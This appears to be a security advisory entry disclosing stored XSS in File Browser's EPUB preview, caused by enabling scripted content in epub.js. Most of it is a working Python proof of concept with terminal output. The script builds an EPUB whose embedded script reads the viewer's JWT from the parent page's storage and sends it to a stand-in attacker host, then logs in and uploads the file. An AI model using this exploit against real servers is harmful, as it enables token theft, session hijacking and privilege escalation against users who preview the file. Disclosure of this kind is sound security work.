+ "details": "### Summary\n\nThe EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.\n\n### Details\n\n`frontend/src/views/files/Preview.vue` passes `allowScriptedContent: true` to the `vue-reader` (epub.js) component:\n```js\n// frontend/src/views/files/Preview.vue (Line 87)\n:epubOptions=\"{\n allowPopups: true,\n allowScriptedContent: true,\n}\"\n```\nepub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which [renders the sandbox ineffective](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#allow-top-navigation-to-custom-protocols) — the script can access the parent frame's DOM and storage.\n\nThe epub.js developers explicitly [warn against enabling scripted content](https://github.com/futurepress/epub.js?tab=readme-ov-file#scripted-content).\n\n### PoC\nI've crafted the PoC python script that could be ran on test environment using docker compose:\n\n```yaml\nservices:\n\n filebrowser:\n image: filebrowser/filebrowser:v2.62.1\n user: 0:0\n ports:\n - \"80:80\"\n```\n\nAnd running this PoC python script:\n```python\nimport argparse\nimport io\nimport sys\nimport zipfile\nimport requests\n\n\nBANNER = \"\"\"\n Stored XSS via EPUB PoC\n Affected: filebrowser/filebrowser <=v2.62.1\n Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }\n Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\"\"\"\n\n\n\nCONTAINER_XML = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<container version=\"1.0\" xmlns=\"urn:oasis:names:tc:opendocument:xmlns:container\">\n <rootfiles>\n <rootfile full-path=\"OEBPS/content.opf\" media-type=\"application/oebps-package+xml\"/>\n </rootfiles>\n</container>\"\"\"\n\n\n\nCONTENT_OPF = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<package xmlns=\"http://www.idpf.org/2007/opf\" unique-identifier=\"uid\" version=\"3.0\">\n <metadata xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n <dc:identifier id=\"uid\">poc-xss-epub-001</dc:identifier>\n <dc:title>Security Test Document</dc:title>\n <dc:language>en</dc:language>\n <meta property=\"dcterms:modified\">2025-01-01T00:00:00Z</meta>\n </metadata>\n <manifest>\n <item id=\"chapter1\" href=\"chapter1.xhtml\" media-type=\"application/xhtml+xml\"/>\n <item id=\"nav\" href=\"nav.xhtml\" media-type=\"application/xhtml+xml\" properties=\"nav\"/>\n </manifest>\n <spine>\n <itemref idref=\"chapter1\"/>\n </spine>\n</package>\"\"\"\n\n\n\nNAV_XHTML = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:epub=\"http://www.idpf.org/2007/ops\">\n<head><title>Navigation</title></head>\n<body>\n <nav epub:type=\"toc\">\n <ol><li><a href=\"chapter1.xhtml\">Chapter 1</a></li></ol>\n </nav>\n</body>\n</html>\"\"\"\n\n\n\nXSS_CHAPTER = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head><title>Chapter 1</title></head>\n<body>\n <h1>Security Test Document</h1>\n <p>This document tests EPUB script execution in File Browser.</p>\n <p id=\"xss-proof\" style=\"color: red; font-weight: bold;\">Waiting...</p>\n <p id=\"ip-proof\" style=\"color: orange; font-weight: bold;\">Fetching IP...</p>\n <script>\n var out = document.getElementById(\"xss-proof\");\n var ipOut = document.getElementById(\"ip-proof\");\n var jwt = \"not-found\";\n try { jwt = window.parent.localStorage.getItem(\"jwt\"); } catch(e) { jwt = \"error: \" + e.message; }\n out.innerHTML = \"XSS OK\" + String.fromCharCode(60) + \"br/\" + String.fromCharCode(62) + \"JWT: \" + jwt;\n fetch(\"https://ifconfig.me/ip\").then(function(r){ return r.text(); }).then(function(ip){\n ipOut.textContent = \"Victim public IP: \" + ip.trim();\n }).catch(function(e){\n ipOut.textContent = \"IP fetch failed: \" + e.message;\n });\n var img = new Image();\n img.src = \"https://attacker.example/?stolen=\" + encodeURIComponent(jwt);\n </script>\n</body>\n</html>\"\"\"\n\n\n\n\ndef login(base: str, username: str, password: str) -> str:\n r = requests.post(f\"{base}/api/login\",\n json={\"username\": username, \"password\": password},\n timeout=10)\n if r.status_code != 200:\n print(f\"[-] Login failed: {r.status_code}\")\n sys.exit(1)\n return r.text.strip('\"')\n\n\n\ndef build_epub() -> bytes:\n \"\"\"Build a minimal EPUB 3 file with embedded JavaScript.\"\"\"\n buf = io.BytesIO()\n with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:\n zf.writestr(\"mimetype\", \"application/epub+zip\", compress_type=zipfile.ZIP_STORED)\n zf.writestr(\"META-INF/container.xml\", CONTAINER_XML)\n zf.writestr(\"OEBPS/content.opf\", CONTENT_OPF)\n zf.writestr(\"OEBPS/nav.xhtml\", NAV_XHTML)\n zf.writestr(\"OEBPS/chapter1.xhtml\", XSS_CHAPTER)\n return buf.getvalue()\n\n\n\ndef main():\n print(BANNER)\n ap = argparse.ArgumentParser(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=\"Stored XSS via malicious EPUB PoC\",\n epilog=\"\"\"examples:\n %(prog)s -t http://localhost:8080 -u admin -p admin\n %(prog)s -t http://target.com/filebrowser -u user -p pass\n\nroot cause:\n frontend/src/views/files/Preview.vue passes\n epubOptions: { allowScriptedContent: true } to the vue-reader\n (epub.js) component. The iframe sandbox includes allow-scripts\n and allow-same-origin, which lets the script access the parent\n frame's localStorage and make arbitrary network requests.\n\nimpact:\n Session hijacking, privilege escalation, data exfiltration.\n A low-privilege user with upload access can steal admin tokens.\"\"\",\n )\n\n ap.add_argument(\"-t\", \"--target\", required=True,\n help=\"Base URL of File Browser (e.g. http://localhost:8080)\")\n ap.add_argument(\"-u\", \"--user\", required=True,\n help=\"Username to authenticate with\")\n ap.add_argument(\"-p\", \"--password\", required=True,\n help=\"Password to authenticate with\")\n if len(sys.argv) == 1:\n ap.print_help()\n sys.exit(1)\n args = ap.parse_args()\n\n base = args.target.rstrip(\"/\")\n\n print()\n print(\"[*] ATTACK BEGINS...\")\n print(\"====================\")\n\n print(f\" [1] Authenticating to {base}\")\n token = login(base, args.user, args.password)\n print(f\" Logged in as: {args.user}\")\n\n print(f\"\\n [2] Building malicious EPUB\")\n epub_data = build_epub()\n print(f\" EPUB size: {len(epub_data)} bytes\")\n\n upload_path = \"/poc_xss_test.epub\"\n print(f\"\\n [3] Uploading to {upload_path}\")\n requests.delete(f\"{base}/api/resources{upload_path}\",\n headers={\"X-Auth\": token}, timeout=10)\n r = requests.post(\n f\"{base}/api/resources{upload_path}?override=true\",\n data=epub_data,\n headers={\n \"X-Auth\": token,\n \"Content-Type\": \"application/epub+zip\",\n },\n timeout=30\n )\n\n if r.status_code in (200, 201, 204):\n print(f\" Upload OK ({r.status_code})\")\n else:\n print(f\" Upload FAILED: {r.status_code} {r.text[:200]}\")\n sys.exit(1)\n\n preview_url = f\"{base}/files{upload_path}\"\n\n print(f\"\\n [4] Done\")\n print(f\" Preview URL: {preview_url}\")\n print(\"====================\")\n print()\n print()\n print(f\"Open the URL above in a browser. You should see:\")\n print(f\" - Red text: \\\"XSS OK\\\" + stolen JWT token\")\n print(f\" - Orange text: victim's public IP (via ifconfig.me)\")\n print()\n print(f\"NOTE: alert() is blocked by iframe sandbox (no allow-modals).\")\n print(f\"The attack is silent — JWT theft and network exfiltration work.\")\n\n\nif __name__ == \"__main__\":\n main()\n\n```\n\nAnd terminal output:\n```bash\nroot@server205:~/sec-filebrowser# python3 poc_xss_epub.py -t http://localhost -u admin -p VJlfum8fGTmyXx8t\n\n Stored XSS via EPUB PoC\n Affected: filebrowser/filebrowser <=v2.62.1\n Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }\n Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\n\n[*] ATTACK BEGINS...\n====================\n [1] Authenticating to http://localhost\n Logged in as: admin\n\n [2] Building malicious EPUB\n EPUB size: 1927 bytes\n\n [3] Uploading to /poc_xss_test.epub\n Upload OK (200)\n\n [4] Done\n Preview URL: http://localhost/files/poc_xss_test.epub\n====================\n\n\nOpen the URL above in a browser. You should see:\n - Red text: \"XSS OK\" + stolen JWT token\n - Orange text: victim's public IP (via ifconfig.me)\n\nNOTE: alert() is blocked by iframe sandbox (no allow-modals).\nThe attack is silent — JWT theft and network exfiltration work.\n```\n\n\n<br/>\n\n### Impact\n- JWT token theft — full session hijacking\n- Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token",
0 commit comments